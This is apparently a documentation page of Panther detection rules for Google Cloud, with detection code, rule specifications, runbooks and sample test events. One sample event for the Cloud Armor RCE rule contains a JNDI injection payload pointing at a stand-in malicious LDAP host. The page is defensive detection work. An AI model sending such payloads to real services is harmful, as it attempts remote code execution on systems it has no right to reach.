Detection rules › Panther

Panther rules: gcp

RuleSeverity
Exec into Podmedium
GCP Access Attempts Violating IAP Access Controlsmedium
GCP Access Attempts Violating VPC Service Controlsmedium
GCP BigQuery Large Scaninformational
GCP Cloud Armor RCE Attempt Detectedhigh
GCP Cloud Run Service Createdlow
GCP Cloud Run Service Created WITH Set IAM Policyhigh
GCP Cloud Run Set IAM Policyhigh
GCP Cloud Storage Buckets Modified Or Deletedlow
GCP CloudBuild Potential Privilege Escalationhigh
GCP cloudfunctions functions createhigh
GCP cloudfunctions functions updatehigh
GCP Compute IAM Policy Update Detectionmedium
GCP Compute SSH Connectioninformational
GCP compute.instances.create Privilege Escalationhigh
GCP Corporate Email Not Usedlow
GCP Destructive Queriesinformational
GCP DNS Zone Modified or Deletedlow
GCP External User Ownership Invitehigh
GCP Firewall Rule Createdlow
GCP Firewall Rule Deletedlow
GCP Firewall Rule Modifiedlow
GCP GCS Bulk Object Deletionmedium
GCP GCS Bulk Object Rewrite Operationmedium
GCP GCS IAM Permission Changeslow
GCP GCS Object Copied to Different Bucketmedium
GCP GCS Ransom Note Uploadhigh
GCP GKE Kubernetes Cron Job Created Or Modifiedmedium
GCP IAM and Tag Enumerationinformational
GCP IAM Role Has Changedinformational
GCP IAM serviceAccounts getAccessToken Privilege Escalationhigh
GCP IAM serviceAccounts signBlobhigh
GCP IAM serviceAccounts.signJwt Privilege Escalationhigh
GCP iam.roles.update Privilege Escalationhigh
GCP Inbound SSO Profile Createdhigh
GCP K8s IOCActivitymedium
GCP K8s New Daemonset Deployedmedium
GCP K8s Pod Attached To Node Host Networkmedium
GCP K8S Pod Create Or Modify Host Path Volume Mounthigh
GCP K8s Pod Using Host PID Namespacemedium
GCP K8S Privileged Pod Createdhigh
GCP K8S Service Type NodePort Deployedhigh
GCP KMS Bulk Encryption by GCS Service Accountmedium
GCP KMS Cross-Project Encryptionhigh
GCP KMS Key Granted to GCS Service Accountmedium
GCP KMS Key Version Disabled or Destroyedinformational
GCP Log Bucket or Sink Deletedmedium
GCP Logging Settings Modifiedlow
GCP Logging Sink Modifiedinformational
GCP Org or Folder Policy Was Changed Manuallyhigh
GCP Permissions Granted to Create or Manage Service Account Keylow
GCP Privilege Escalation via TagBindinginformational
GCP Privileged Operationinformational
GCP Resource in Unused Regionmedium
GCP Service Account Access Deniedlow
GCP Service Account or Keys Created low
GCP serviceusage.apiKeys.create Privilege Escalationhigh
GCP Snapshot Creation Detectionmedium
GCP SQL Config Changeslow
GCP storage hmac keys createhigh
GCP Tag Binding Creationinformational
GCP User Added to IAP Protected Servicelow
GCP User Added to Privileged Grouplow
GCP VPC Flow Logs Disabledmedium
GCP Workforce Pool Created or Updatedhigh
GCP Workload Identity Pool Created or Updatedhigh
GCP.Iam.ServiceAccountKeys.Createhigh
GCP.Privilege.Escalation.By.Deployments.Createhigh
GCS Bucket Made Publichigh

Exec into Pod

#
Severity
medium
Log types
GCP.AuditLog
Tags
GCP, Security Control, Configuration Required
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

Alerts when users exec into pod. Possible to specify specific projects and allowed users.

Telemetry coverage

Rules detecting the same action

These rules filter on the same operation.

Detection logic

import json
from unittest.mock import MagicMock

from panther_base_helpers import deep_walk
from panther_gcp_helpers import get_k8s_info

# This is a list of principals that are allowed to exec into pods
# in various namespaces and projects.
ALLOW_LIST = [
    {
        # If empty, then no principals
        "principals": [
            # "system:serviceaccount:example-namespace:example-namespace-service-account",
        ],
        # If empty, then all namespaces
        "namespaces": [],
        # If projects empty then all projects
        "projects": [],
    },
    # Add more allowed principals here
    # {
    #     "principals": [],
    #     "namespaces": [],
    #     "projects": [],
    # },
]


def rule(event):
    # pylint: disable=not-callable
    # pylint: disable=global-statement
    global ALLOW_LIST
    if isinstance(ALLOW_LIST, MagicMock):
        ALLOW_LIST = json.loads(ALLOW_LIST())

    # Defaults to False (no alert) unless method is exec and principal not allowed
    if not all(
        [
            event.deep_walk("protoPayload", "methodName") == "io.k8s.core.v1.pods.exec.create",
            event.deep_walk("resource", "type") == "k8s_cluster",
        ]
    ):
        return False

    k8s_info = get_k8s_info(event)
    principal = deep_walk(k8s_info, "principal", default="<NO PRINCIPAL>")
    namespace = deep_walk(k8s_info, "namespace", default="<NO NAMESPACE>")
    project_id = deep_walk(k8s_info, "project_id", default="<NO PROJECT_ID>")
    # rule_exceptions that are allowed temporarily are defined in gcp_environment.py
    # Some execs have principal which is long numerical UUID, appears to be k8s internals
    for allowed_principal in ALLOW_LIST:
        allowed_principals = deep_walk(allowed_principal, "principals", default=[])
        allowed_namespaces = deep_walk(allowed_principal, "namespaces", default=[])
        allowed_project_ids = deep_walk(allowed_principal, "projects", default=[])
        if (
            principal in allowed_principals
            and (namespace in allowed_namespaces or allowed_namespaces == [])
            and (project_id in allowed_project_ids or allowed_project_ids == [])
        ):
            if "@" not in principal:
                return False
    return True


def title(event):
    # TODO: use unified data model field in title for actor
    k8s_info = get_k8s_info(event)
    principal = deep_walk(k8s_info, "principal", default="<NO PRINCIPAL>")
    project_id = deep_walk(
        k8s_info,
        "project_id",
        default="",
    )
    pod = deep_walk(k8s_info, "pod", default="")
    namespace = deep_walk(k8s_info, "namespace", default="")
    return f"Exec into pod namespace/{namespace}/pod/{pod} by {principal} in {project_id}"


def alert_context(event):
    return get_k8s_info(event)

Rule specification

AnalysisType: rule
Filename: gcp_k8s_exec_into_pod.py
RuleID: "GCP.K8s.ExecIntoPod"
DisplayName: "Exec into Pod"
Enabled: false
LogTypes:
  - GCP.AuditLog
Tags:
  - GCP
  - Security Control
  - Configuration Required
Severity: Medium
Description: >
  Alerts when users exec into pod. Possible to specify specific projects and allowed users.
Runbook: >
  Investigate the user and determine why. Advise that it is discouraged practice. Create ticket if appropriate.
Reference: https://cloud.google.com/migrate/containers/docs/troubleshooting/executing-shell-commands

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.methodName is io.k8s.core.v1.pods.exec.create
  • resource.type is k8s_cluster

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Indicators

These rows show field, operator, and value matches.

Response runbook

Investigate the user and determine why. Advise that it is discouraged practice. Create ticket if appropriate.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "protoPayload": {
    "authenticationInfo": {
      "principalEmail": "disallowed.user@example.com"
    },
    "authorizationInfo": [
      {
        "permission": "io.k8s.core.v1.pods.exec.create",
        "resource": "core/v1/namespaces/example/pods/example-57998cf7c5-bjkfk/exec"
      }
    ],
    "methodName": "io.k8s.core.v1.pods.exec.create",
    "requestMetadata": {
      "callerIp": "88.88.88.88",
      "callerSuppliedUserAgent": "kubectl/v1.40.8 (darwin/amd64) kubernetes/6575935"
    },
    "resourceName": "core/v1/namespaces/example/pods/one-off-valerii-tovstyk-1646666967280/exec",
    "timestamp": "2022-03-04T16:01:49.978756Z"
  },
  "resource": {
    "labels": {
      "project_id": "rigup-production"
    },
    "type": "k8s_cluster"
  }
}

GCP Access Attempts Violating IAP Access Controls

#
Severity
medium
Entities
ip_addresses, trace_ids
Log types
GCP.HTTPLoadBalancer
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

GCP Access Attempts Violating IAP Access Controls

Detection logic

def rule(event):
    return all(
        [
            event.deep_get("resource", "type", default="") == "http_load_balancer",
            event.deep_get("jsonPayload", "statusDetails", default="")
            == "handled_by_identity_aware_proxy",
            not any(
                [
                    str(event.deep_get("httprequest", "status", default=000)).startswith("2"),
                    str(event.deep_get("httprequest", "status", default=000)).startswith("3"),
                ]
            ),
        ]
    )


def title(event):
    source = event.deep_get("jsonPayload", "remoteIp", default="<SRC_IP_NOT_FOUND>")
    request_url = event.deep_get("httprequest", "requestUrl", default="<REQUEST_URL_NOT_FOUND>")
    return f"GCP: Request Violating IAP controls from [{source}] to [{request_url}]"

Rule specification

AnalysisType: rule
Description: GCP Access Attempts Violating IAP Access Controls
DisplayName: "GCP Access Attempts Violating IAP Access Controls"
Enabled: true
Filename: gcp_access_attempts_violating_iap_access_controls.py
Reference: https://cloud.google.com/iap/docs/concepts-overview
Severity: Medium
DedupPeriodMinutes: 60
LogTypes:
  - GCP.HTTPLoadBalancer
RuleID: "GCP.Access.Attempts.Violating.IAP.Access.Controls"
Threshold: 1

Stages and Predicates

Fires on GCP.HTTPLoadBalancer events when all of the conditions below hold.

Condition

  • resource.type is http_load_balancer
  • jsonPayload.statusDetails is handled_by_identity_aware_proxy
  • httprequest.status does not start with 2
  • httprequest.status does not start with 3

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
httprequest.statusstarts_with2excludes:httprequest.status field:"httprequest.status" value:"2"
httprequest.statusstarts_with3excludes:httprequest.status field:"httprequest.status" value:"3"

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
remoteIpjsonPayload.remoteIp
requestUrlhttprequest.requestUrl

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "httprequest": {
    "latency": "0.048180s",
    "remoteIp": "1.2.3.4",
    "requestMethod": "GET",
    "requestSize": 77,
    "requestUrl": "http://6.7.8.9/",
    "responseSize": 211,
    "status": 403,
    "userAgent": "curl/7.85.0"
  },
  "insertid": "u94qwjf25yzns",
  "jsonpayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.loadbalancing.type.LoadBalancerLogEntry",
    "remoteIp": "1.2.3.4",
    "statusDetails": "handled_by_identity_aware_proxy"
  },
  "logname": "projects/gcp-project1/logs/requests",
  "p_any_ip_addresses": [
    "6.7.8.9",
    "1.2.3.4"
  ],
  "p_any_trace_ids": [
    "projects/gcp-project1/traces/dd43c6eb7046da54fa3724d2753262e6"
  ],
  "p_event_time": "2023-03-09 23:19:25.712",
  "p_log_type": "GCP.HTTPLoadBalancer",
  "p_parse_time": "2023-03-09 23:21:14.47",
  "p_row_id": "be93fccee09dd2f1b0b2d9ee16d5d704",
  "p_schema_version": 0,
  "p_source_id": "964c7894-9a0d-4ddf-864f-0193438221d6",
  "p_source_label": "panther-gcp-logsource",
  "receivetimestamp": "2023-03-09 23:19:26.392",
  "resource": {
    "labels": {
      "backend_service_name": "web-backend-service",
      "forwarding_rule_name": "http-content-rule",
      "project_id": "gcp-project1",
      "target_proxy_name": "http-lb-proxy-2",
      "url_map_name": "web-map-http-2",
      "zone": "global"
    },
    "type": "http_load_balancer"
  },
  "severity": "INFO",
  "spanid": "d75cc31c93528953",
  "timestamp": "2023-03-09 23:19:25.712",
  "trace": "projects/gcp-project1/traces/dd43c6eb7046da54fa3724d2753262e6"
}

GCP Access Attempts Violating VPC Service Controls

#
Severity
medium
Entities
ip_addresses
Log types
GCP.AuditLog
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

An access attempt violating VPC service controls (such as Perimeter controls) has been made.

Detection logic

def rule(event):
    severity = event.get("severity", "")
    status_code = event.deep_get("protoPayload", "status", "code", default="")
    violation_types = event.deep_walk(
        "protoPayload", "status", "details", "violations", "type", default=[]
    )
    if all(
        [
            severity == "ERROR",
            status_code == 7,
            "VPC_SERVICE_CONTROLS" in violation_types,
        ]
    ):
        return True
    return False


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    method = event.deep_get("protoPayload", "methodName", default="<METHOD_NOT_FOUND>")
    return f"GCP: [{actor}] performed a [{method}] request that violates VPC Service Controls"

Rule specification

AnalysisType: rule
Description: An access attempt violating VPC service controls (such as Perimeter controls) has been made.
DisplayName: "GCP Access Attempts Violating VPC Service Controls"
Enabled: true
Filename: gcp_access_attempts_violating_vpc_service_controls.py
Reference: https://cloud.google.com/vpc-service-controls/docs/troubleshooting#debugging
Severity: Medium
DedupPeriodMinutes: 60
LogTypes:
  - GCP.AuditLog
RuleID: "GCP.Access.Attempts.Violating.VPC.Service.Controls"
Threshold: 1

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • severity is ERROR
  • protoPayload.status.code is 7
  • protoPayload.status.details.violations.type contains VPC_SERVICE_CONTROLS

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
principalEmailprotoPayload.authenticationInfo.principalEmail
methodNameprotoPayload.methodName

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertId": "13ogcded7jh2",
  "insertid": "15wr7lbb6j",
  "logName": "projects/gcpproject/logs/cloudaudit.googleapis.com%2Fpolicy",
  "logname": "projects/gcpproject/logs/cloudaudit.googleapis.com%2Factivity",
  "p_any_ip_addresses": [
    "1.2.3.4"
  ],
  "p_event_time": "2023-03-09 10:53:14.929",
  "p_log_type": "GCP.AuditLog",
  "p_parse_time": "2023-03-09 10:54:14.363",
  "p_row_id": "7ad218d42253b7e6f78cc0ed16be37",
  "p_source_id": "4fc88a5a-2d51-4279-9c4a-08fa7cc52566",
  "p_source_label": "gcplogsource",
  "protoPayload": {
    "at_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "user1@serviceaccount.gcp.com"
    },
    "metadata": {
      "at_type": "type.googleapis.com/google.cloud.audit.VpcServiceControlAuditMetadata",
      "deviceState": "Unknown",
      "ingressViolations": [
        {
          "servicePerimeter": "accessPolicies/123456789012/servicePerimeters/test_perimeter",
          "targetResource": "projects/197946410614",
          "targetResourcePermissions": [
            "NO_PERMISSIONS"
          ]
        }
      ],
      "resourceNames": [
        "projects/_/buckets/test-restricted-bucket/objects/test1.txt"
      ],
      "securityPolicyInfo": {
        "organizationId": "645568414902",
        "servicePerimeterName": "accessPolicies/123456789012/servicePerimeters/test_perimeter"
      },
      "violationReason": "NO_MATCHING_ACCESS_LEVEL",
      "vpcServiceControlsUniqueId": "gBc-wuGVCapNMnTUePoHos_VyJmr3CsMKlr48kVa4b6XpsT_OWKRng"
    },
    "methodName": "google.storage.objects.get",
    "requestMetadata": {
      "callerIp": "1.2.3.4",
      "destinationAttributes": {},
      "requestAttributes": {}
    },
    "resourceName": "projects/197946410614",
    "serviceName": "storage.googleapis.com",
    "status": {
      "code": 7,
      "details": [
        {
          "at_type": "type.googleapis.com/google.rpc.PreconditionFailure",
          "violations": [
            {
              "description": "gBc-wuGVCapNMnTUePoHos_VyJmr3CsMKlr48kVa4b6XpsT_OWKRng",
              "type": "VPC_SERVICE_CONTROLS"
            },
            {
              "description": "gCc-wuJa334DJ9940ssdiw_V8400skgjj3912500sldgjzh_LGJANr",
              "type": "OTHER_CONTROL_VIOLATION"
            }
          ]
        }
      ],
      "message": "Request is prohibited by organization's policy. vpcServiceControlsUniqueIdentifier: gBc-wuGVCapNMnTUePoHos_VyJmr3CsMKlr48kVa4b6XpsT_OWKRng"
    }
  },
  "receiveTimestamp": "2023-03-09T16:28:42.567340480Z",
  "resource": {
    "labels": {
      "method": "google.storage.objects.get",
      "project_id": "gcpproject",
      "service": "storage.googleapis.com"
    },
    "type": "audited_resource"
  },
  "severity": "ERROR",
  "timestamp": "2023-03-09T16:28:40.890430163Z"
}

GCP BigQuery Large Scan

#
Severity
informational
Entities
emails, ip_addresses
Log types
GCP.AuditLog
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

Detect any BigQuery query that is doing a very large scan (> 1 GB).

Detection logic

# 1.07 GB
QUERY_THRESHOLD_BYTES = 1073741824


def rule(event):
    return all(
        [
            event.deep_get("resource", "type", default="<type not found>").startswith("bigquery"),
            event.deep_get("operation", "last") is True,
            event.deep_get("protoPayload", "metadata", "jobChange", "job", "jobConfig", "type")
            == "QUERY",
            event.deep_get(
                "protoPayload",
                "metadata",
                "jobChange",
                "job",
                "jobConfig",
                "queryConfig",
                "statementType",
            )
            == "SELECT",
            int(
                event.deep_get(
                    "protoPayload",
                    "metadata",
                    "jobChange",
                    "job",
                    "jobStats",
                    "queryStats",
                    "totalBilledBytes",
                    default=0,
                )
            )
            > QUERY_THRESHOLD_BYTES,
        ]
    )


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    return f"GCP: [{actor}] ran a large BigQuery query exceeding 1.07 GB threshold."


def alert_context(event):
    return {
        "query": event.deep_get(
            "protoPayload",
            "metadata",
            "jobChange",
            "job",
            "jobConfig",
            "queryConfig",
            "query",
            default="<QUERY_NOT_FOUND>",
        ),
        "actor": event.deep_get(
            "protoPayload",
            "authenticationInfo",
            "principalEmail",
            default="<ACTOR_NOT_FOUND>",
        ),
        "query_size": event.deep_get(
            "protoPayload",
            "metadata",
            "jobChange",
            "job",
            "jobStats",
            "queryStats",
            "totalBilledBytes",
            default=0,
        ),
    }

Rule specification

AnalysisType: rule
Description: Detect any BigQuery query that is doing a very large scan (> 1 GB).
DisplayName: "GCP BigQuery Large Scan"
Enabled: true
Filename: gcp_bigquery_large_scan.py
Reference: https://cloud.google.com/bigquery/docs/running-queries
Severity: Info
DedupPeriodMinutes: 60
LogTypes:
  - GCP.AuditLog
RuleID: "GCP.BigQuery.Large.Scan"
Threshold: 1

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • resource.type starts with bigquery
  • operation.last is true
  • protoPayload.metadata.jobChange.job.jobConfig.type is QUERY
  • protoPayload.metadata.jobChange.job.jobConfig.queryConfig.statementType is SELECT
  • protoPayload.metadata.jobChange.job.jobStats.queryStats.totalBilledBytes is greater than 1073741824

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
queryprotoPayload.metadata.jobChange.job.jobConfig.queryConfig.query
actorprotoPayload.authenticationInfo.principalEmail
query_sizeprotoPayload.metadata.jobChange.job.jobStats.queryStats.totalBilledBytes

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertid": "ABCDEFGHIJKL",
  "logname": "projects/gcp-project1/logs/cloudaudit.googleapis.com%2Fdata_access",
  "operation": {
    "id": "0123456789012-gcp-project1:abcdefg_hijklmnop_1234567abcd",
    "last": true,
    "producer": "bigquery.googleapis.com"
  },
  "p_any_emails": [
    "user@company.io"
  ],
  "p_any_ip_addresses": [
    "1.2.3.4"
  ],
  "p_event_time": "2023-03-28 17:37:02.096",
  "p_log_type": "GCP.AuditLog",
  "p_parse_time": "2023-03-28 17:38:14.621",
  "p_row_id": "de00d3dcdaeee4b4d5f7fa9d17b4c203",
  "p_schema_version": 0,
  "p_source_id": "964c7894-9a0d-4ddf-864f-0193438221d6",
  "p_source_label": "gcp-logsource",
  "protoPayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "user@company.io"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "bigquery.jobs.create",
        "resource": "projects/gcp-project1"
      }
    ],
    "metadata": {
      "@type": "type.googleapis.com/google.cloud.audit.BigQueryAuditMetadata",
      "jobChange": {
        "after": "DONE",
        "job": {
          "jobConfig": {
            "queryConfig": {
              "createDisposition": "CREATE_IF_NEEDED",
              "destinationTable": "projects/gcp-project1/datasets/_c2b49f742788f188022fcec1f1622e7404b40ce5/tables/anondea8e77183dcdf1cf93a47b5003036409a525808207450ab80db17fcc8cdcf53",
              "priority": "QUERY_INTERACTIVE",
              "query": "-- This query shows a list of the daily top Google Search terms.\nSELECT\n   *\nFROM `bigquery-public-data.google_trends.top_terms`",
              "statementType": "SELECT",
              "writeDisposition": "WRITE_TRUNCATE"
            },
            "type": "QUERY"
          },
          "jobName": "projects/gcp-project1/jobs/abcdefg_hijklmnop_1234567abcd",
          "jobStats": {
            "createTime": "2023-03-28T17:36:49.087Z",
            "endTime": "2023-03-28T17:37:02.092Z",
            "queryStats": {
              "billingTier": 1,
              "outputRowCount": "43683701",
              "referencedTables": [
                "projects/bigquery-public-data/datasets/google_trends/tables/top_terms"
              ],
              "totalBilledBytes": "3097493504",
              "totalProcessedBytes": "3096864198"
            },
            "startTime": "2023-03-28T17:36:49.224Z",
            "totalSlotMs": "259581"
          },
          "jobStatus": {
            "jobState": "DONE"
          }
        }
      }
    },
    "methodName": "google.cloud.bigquery.v2.JobService.InsertJob",
    "requestMetadata": {
      "callerIP": "1.2.3.4",
      "callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36,gzip(gfe),gzip(gfe)"
    },
    "resourceName": "projects/gcp-project1/jobs/abcdefg_hijklmnop_1234567abcd",
    "serviceName": "bigquery.googleapis.com",
    "status": {}
  },
  "receivetimestamp": "2023-03-28 17:37:02.114",
  "resource": {
    "labels": {
      "location": "US",
      "project_id": "gcp-project1"
    },
    "type": "bigquery_project"
  },
  "severity": "INFO",
  "timestamp": "2023-03-28 17:37:02.096"
}

GCP Cloud Armor RCE Attempt Detected

#
Severity
high
Log types
GCP.HTTPLoadBalancer
Tags
GCP, Cloud Armor, WAF, RCE, React2Shell
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

Detects when GCP Cloud Armor detects HTTP requests matching specific Remote Code Execution (RCE) vulnerability signatures (google-mrs-v202512-id000001-rce and google-mrs-v202512-id000002-rce) which match React2Shell exploit attempts. These rules indicate active exploitation attempts against known RCE vulnerabilities.

Detection logic

# CloudArmor signature IDs for CVE-2025-55182
REACT2SHELL_SIGNATURES = [
    "google-mrs-v202512-id000001-rce",
    "google-mrs-v202512-id000002-rce",
]


def rule(event):
    # Check that this is an HTTP load balancer event
    if event.deep_get("resource", "type") != "http_load_balancer":
        return False

    # Check enforced policy match
    enforced_policy = event.deep_get("jsonPayload", "enforcedSecurityPolicy", default={})
    enforced_sigs = enforced_policy.get("preconfiguredExprIds", [])
    if any(sig in enforced_sigs for sig in REACT2SHELL_SIGNATURES):
        return True

    # Check preview policy for non-blocking WAF matches
    preview_policy = event.deep_get("jsonPayload", "previewSecurityPolicy", default={})
    preview_sigs = preview_policy.get("preconfiguredExprIds", [])
    if any(sig in preview_sigs for sig in REACT2SHELL_SIGNATURES):
        return True

    return False


def title(event):
    remote_ip = event.deep_get("httpRequest", "remoteIp", default="<UNKNOWN_IP>")
    return f"Cloud Armor React2Shell (CVE-2025-55182) Exploit Detected from {remote_ip}"


def alert_context(event):
    enforced_policy = event.deep_get("jsonPayload", "enforcedSecurityPolicy", default={})
    preview_policy = event.deep_get("jsonPayload", "previewSecurityPolicy", default={})
    http_request = event.get("httpRequest", {})
    status_details = event.deep_get("jsonPayload", "statusDetails", default="<UNKNOWN_STATUS>")

    context = {
        "vulnerability": "CVE-2025-55182 (React2Shell)",
        "status_details": status_details,
        "remote_ip": http_request.get("remoteIp"),
        "request_url": http_request.get("requestUrl"),
        "request_method": http_request.get("requestMethod"),
        "user_agent": http_request.get("userAgent"),
        "status_code": http_request.get("status"),
        "referer": http_request.get("referer"),
        "enforced_policy": {
            "name": enforced_policy.get("name"),
            "configured_action": enforced_policy.get("configuredAction"),
            "outcome": enforced_policy.get("outcome"),
            "priority": enforced_policy.get("priority"),
            "signature_ids": enforced_policy.get("preconfiguredExprIds", []),
            "matched_field_type": enforced_policy.get("matchedFieldType"),
            "matched_field_name": enforced_policy.get("matchedFieldName"),
            "matched_field_value": enforced_policy.get("matchedFieldValue"),
            "matched_length": enforced_policy.get("matchedLength"),
        },
        "project_id": event.deep_get("resource", "labels", "project_id"),
        "backend_service": event.deep_get("resource", "labels", "backend_service_name"),
        "forwarding_rule": event.deep_get("resource", "labels", "forwarding_rule_name"),
    }

    # Include preview policy details if present
    if preview_policy:
        context["preview_policy"] = {
            "configured_action": preview_policy.get("configuredAction"),
            "outcome": preview_policy.get("outcome"),
            "priority": preview_policy.get("priority"),
            "signature_ids": preview_policy.get("preconfiguredExprIds", []),
            "matched_field_type": preview_policy.get("matchedFieldType"),
            "matched_field_name": preview_policy.get("matchedFieldName"),
            "matched_field_value": preview_policy.get("matchedFieldValue"),
            "matched_length": preview_policy.get("matchedLength"),
        }

    return context

Rule specification

AnalysisType: rule
Description: >
  Detects when GCP Cloud Armor detects HTTP requests matching specific Remote Code Execution (RCE)
  vulnerability signatures (google-mrs-v202512-id000001-rce and google-mrs-v202512-id000002-rce) which match React2Shell exploit attempts.
  These rules indicate active exploitation attempts against known RCE vulnerabilities.
DisplayName: GCP Cloud Armor RCE Attempt Detected
Enabled: true
Filename: gcp_cloud_armor_r2s_rce_attempt.py
RuleID: GCP.CloudArmor.React2Shell.RCE.Attempt
Severity: High
LogTypes:
  - GCP.HTTPLoadBalancer
Tags:
  - GCP
  - Cloud Armor
  - WAF
  - RCE
  - React2Shell
Reference: https://cloud.google.com/armor/docs/waf-rules#cves_and_other_vulnerabilities
Runbook: |
  1. Query GCP HTTP Load Balancer logs for all requests from the httpRequest:remoteIp in the 6 hours before and after the alert to identify attack patterns and other exploit attempts
  2. Check if the httpRequest:remoteIp is associated with known threat actors, scanning infrastructure, VPN services, or proxy networks using IP enrichment
  3. Search for other Cloud Armor denials (jsonPayload:statusDetails = denied_by_security_policy) from this IP or targeting the same resource:labels:backend_service_name in the past 7 days to assess campaign scope

Stages and Predicates

Fires on GCP.HTTPLoadBalancer events when all of the conditions below hold.

Condition

  • resource.type is http_load_balancer
  • any of:
    • jsonPayload.enforcedSecurityPolicy.preconfiguredExprIds contains google-mrs-v202512-id000001-rce
    • jsonPayload.enforcedSecurityPolicy.preconfiguredExprIds contains google-mrs-v202512-id000002-rce
    • jsonPayload.previewSecurityPolicy.preconfiguredExprIds contains google-mrs-v202512-id000001-rce
    • jsonPayload.previewSecurityPolicy.preconfiguredExprIds contains google-mrs-v202512-id000002-rce

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
status_detailsjsonPayload.statusDetails
remote_iphttpRequest.remoteIp
request_urlhttpRequest.requestUrl
request_methodhttpRequest.requestMethod
user_agenthttpRequest.userAgent
status_codehttpRequest.status
refererhttpRequest.referer
project_idresource.labels.project_id
backend_serviceresource.labels.backend_service_name
forwarding_ruleresource.labels.forwarding_rule_name

Response runbook

1. Query GCP HTTP Load Balancer logs for all requests from the httpRequest:remoteIp in the 6 hours before and after the alert to identify attack patterns and other exploit attempts

2. Check if the httpRequest:remoteIp is associated with known threat actors, scanning infrastructure, VPN services, or proxy networks using IP enrichment

3. Search for other Cloud Armor denials (jsonPayload:statusDetails = denied_by_security_policy) from this IP or targeting the same resource:labels:backend_service_name in the past 7 days to assess campaign scope

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "httpRequest": {
    "remoteIp": "1.2.3.4",
    "requestMethod": "POST",
    "requestSize": 1024,
    "requestUrl": "https://example.com/api/upload",
    "responseSize": 0,
    "status": 403,
    "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
  },
  "insertId": "abc123xyz",
  "jsonPayload": {
    "enforcedSecurityPolicy": {
      "configuredAction": "DENY",
      "matchedFieldName": "session",
      "matchedFieldType": "COOKIE_VALUES",
      "matchedFieldValue": "${jndi:ldap://malicious.com/exploit}",
      "matchedLength": 42,
      "name": "cloud-armor-policy-prod",
      "outcome": "DENY",
      "preconfiguredExprIds": [
        "google-mrs-v202512-id000001-rce"
      ],
      "priority": 10000
    },
    "statusDetails": "denied_by_security_policy"
  },
  "logName": "projects/test-project/logs/requests",
  "resource": {
    "labels": {
      "backend_service_name": "web-backend",
      "forwarding_rule_name": "web-lb-rule",
      "project_id": "test-project"
    },
    "type": "http_load_balancer"
  },
  "severity": "WARNING",
  "timestamp": "2025-12-16 10:30:00.000"
}

GCP Cloud Run Service Created

#
Severity
low
Log types
GCP.AuditLog
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

Detects creation of new Cloud Run Service, which, if configured maliciously, may be part of the attack aimed to invoke the service and retrieve the access token.

Telemetry coverage

Detection logic

from panther_gcp_helpers import gcp_alert_context


def rule(event):
    if event.get("severity") == "ERROR":
        return False

    method_name = event.deep_get("protoPayload", "methodName", default="")
    if not method_name.endswith("Services.CreateService"):
        return False

    authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
    if not authorization_info:
        return False

    for auth in authorization_info:
        if auth.get("permission") == "run.services.create" and auth.get("granted") is True:
            return True
    return False


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")

    return f"[GCP]: [{actor}] created new Run Service in project [{project_id}]"


def alert_context(event):
    context = gcp_alert_context(event)
    context["service_account"] = event.deep_get(
        "protoPayload",
        "request",
        "service",
        "spec",
        "template",
        "spec",
        default="<SERVICE_ACCOUNT_NOT_FOUND>",
    )
    return context

Rule specification

AnalysisType: rule
LogTypes:
  - GCP.AuditLog
Description:
  Detects creation of new Cloud Run Service, which, if configured maliciously, may be part of the attack
  aimed to invoke the service and retrieve the access token.
DisplayName: "GCP Cloud Run Service Created"
RuleID: "GCP.Cloud.Run.Service.Created"
Filename: gcp_cloud_run_service_created.py
Enabled: true
CreateAlert: false
Reference: https://cloud.google.com/run/docs/quickstarts/deploy-container
Runbook: Confirm this was authorized and necessary behavior
Severity: Low
DedupPeriodMinutes: 60
Threshold: 1

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • severity is not ERROR
  • protoPayload.methodName ends with Services.CreateService
  • protoPayload.authorizationInfo is present
  • any element of protoPayload.authorizationInfo matches all of:
    • protoPayload.authorizationInfo.permission is run.services.create
    • protoPayload.authorizationInfo.granted is true
